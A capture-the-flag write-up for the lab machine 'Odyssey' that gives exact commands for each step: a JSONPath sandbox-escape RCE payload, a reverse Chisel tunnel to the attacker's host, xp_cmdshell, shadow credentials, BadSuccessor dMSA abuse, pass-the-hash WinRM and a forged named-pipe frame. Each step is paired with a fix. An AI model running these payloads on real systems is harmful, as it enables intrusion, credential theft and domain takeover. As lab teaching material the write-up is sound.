Odyssey
Summary
The Aegis MDS Node.js application on port 3000 exposed an unauthenticated diagnostic endpoint whose JSONPath evaluator could be broken out of its sandbox with a constructor chain, reaching child_process and giving command execution on the Linux web host. Its source held hardcoded MSSQL credentials for an internal $INTERNAL_PREFIX.0/24 network, so a reverse Chisel tunnel through the same RCE opened a SOCKS pivot and forwarded the database port out.
Windows authentication to that MSSQL instance and xp_cmdshell gave execution inside the domain. From there a machine-account hash authenticated against the domain controller, and Certipy wrote a shadow credential to recover a service account's NT hash — over a SOCKS pivot, which broke both DNS and Kerberos clock sync until the DC's own clock was read back through the MSSQL session and faked locally.
That account could create a delegated managed service account, and on a Server 2025 domain controller the dMSA migration path hands the successor the predecessor's keys — the BadSuccessor technique — which produced a second service account with WinRM rights on the DC. Directory replication was denied to it, so the last step went through a third-party Windows service instead: decompiling it revealed an HMAC-signed named-pipe protocol and the operator key on disk, and a forged privileged frame ran commands in its SYSTEM context.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export INTERNAL_PREFIX="<the-first-three-octets-of-that-network>"
export PASSWORD2="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"
export HASH2="<the-hash-you-recovered, for svc-aegis-build>"
export HASH3="<the-hash-you-recovered, for svc-aegis-deploy>"Some commands also carry a value in angle brackets — <the-dc-utc-time>, <the-diag-token> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Full sweep; port 3000 is the application everything else hangs off.
$ nmap -Pn -sV -p- --min-rate 5000 $TARGETThe application routes on the vhost, so it has to resolve locally.
$ echo "$TARGET aegis.korvia.htb korvia.htb" | sudo tee -a /etc/hostsPull the bundle names, then read them: the route table is in the client.
$ curl -s http://aegis.korvia.htb:3000/ | grep -oE 'src="[^"]+\.js"'FixRequire authentication on the diagnostic API, or remove it from production buildsHigh
Exact commands 1
The constructor chain reaches Function, Function compiles the payload, and the payload asks the module loader for child_process. Swap id for whatever you need to run.
$ curl -sS -X POST 'http://aegis.korvia.htb:3000/api/v1/aegis-mds/_diag/<the-diag-token>/jpquery' -H 'Content-Type: application/json' -d '{"context":{},"expr":"$[?(@[[\u0027constructor\u0027]][[\u0027constructor\u0027]](\u0027return process.mainModule.require(\"child_process\").execSync(\"id\").toString()\u0027)())]"}'FixDo not evaluate caller-supplied JSONPath expressionsCritical
Exact commands 1
Run through the RCE above. The connection string is what makes the next step possible.
$ grep -rniE 'password|mssql|1433|172\.16\.' /opt/aegis --include='*.js' --include='*.json' | head -40FixRemove hardcoded database credentials and rotate the exposed accountHigh
Exact commands 2
On my own machine. --reverse lets the client ask for listeners on this side.
$ chisel server -p 9011 --reverseRun through the RCE. The first forward is a general SOCKS pivot for proxychains, the second points at the database so a client can connect to it as though it were local.
$ chisel client $ATTACKER_IP:9011 R:11080:socks R:11433:$INTERNAL_HOST2:1433FixDisable xp_cmdshell and separate the SQL service account from the domainHigh
Exact commands 2
Through the forward from the step above. -windows-auth is what the account needs.
$ impacket-mssqlclient -windows-auth "ODYSSEY/svc-mssql:$PASSWORD2@127.0.0.1" -port 11433Turn the procedure back on, then xp_cmdshell 'whoami' to confirm the context.
$ EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;Exact commands 4
The DC's clock, read through a session that already works. Kerberos needs it.
$ proxychains4 -q impacket-mssqlclient -windows-auth 'ODYSSEY/svc-mssql@127.0.0.1' -port 11433 -q "SELECT CONVERT(varchar,GETUTCDATE(),120)"-ns forces DNS through the DC rather than the local resolver, which the SOCKS pivot does not carry. Faketime aligns the clock without touching the host's.
$ faketime -f "<the-dc-utc-time>" proxychains4 -q certipy-ad shadow auto -u 'ODYSSEY-DB$@odyssey.htb' -hashes ":$HASH" -account svc-aegis-build -dc-ip $INTERNAL_HOST -ns $INTERNAL_HOSTThe dMSA is created as the successor; retrieving its managed password returns the predecessor's keys.
$ proxychains4 -q bloodyAD --host $INTERNAL_HOST -d odyssey.htb -u svc-aegis-build -p ":$HASH2" add dmsa 'dmsa-pipe-deploy$' 'OU=Migrations,DC=odyssey,DC=htb' --supersede svc-aegis-deployWinRM on the domain controller with the recovered hash.
$ proxychains4 -q evil-winrm -i $INTERNAL_HOST -u svc-aegis-deploy -H $HASH3Exact commands 4
From the evil-winrm session. The common assembly beside it carries the protocol types.
$ download C:\Program Files\AegisStream\AegisStreamSvc.dllThe IL names the pipe, the frame magic and the opcodes; the role check is what separates viewer from operator.
$ monodis --output=AegisStreamSvc.il AegisStreamSvc.dll && grep -nEi 'pipe|hmac|opcode|magic|key' AegisStreamSvc.il | head -40The operator key the service itself uses to verify a privileged frame.
$ type C:\ProgramData\AegisStream\keys\operator.key.encRead through the command the forged frame runs in the service's SYSTEM context -> <root.txt>
$ type C:\Users\Administrator\Desktop\root.txtTechniques used
New to these ideas? Learn the concepts in Hack & Learn.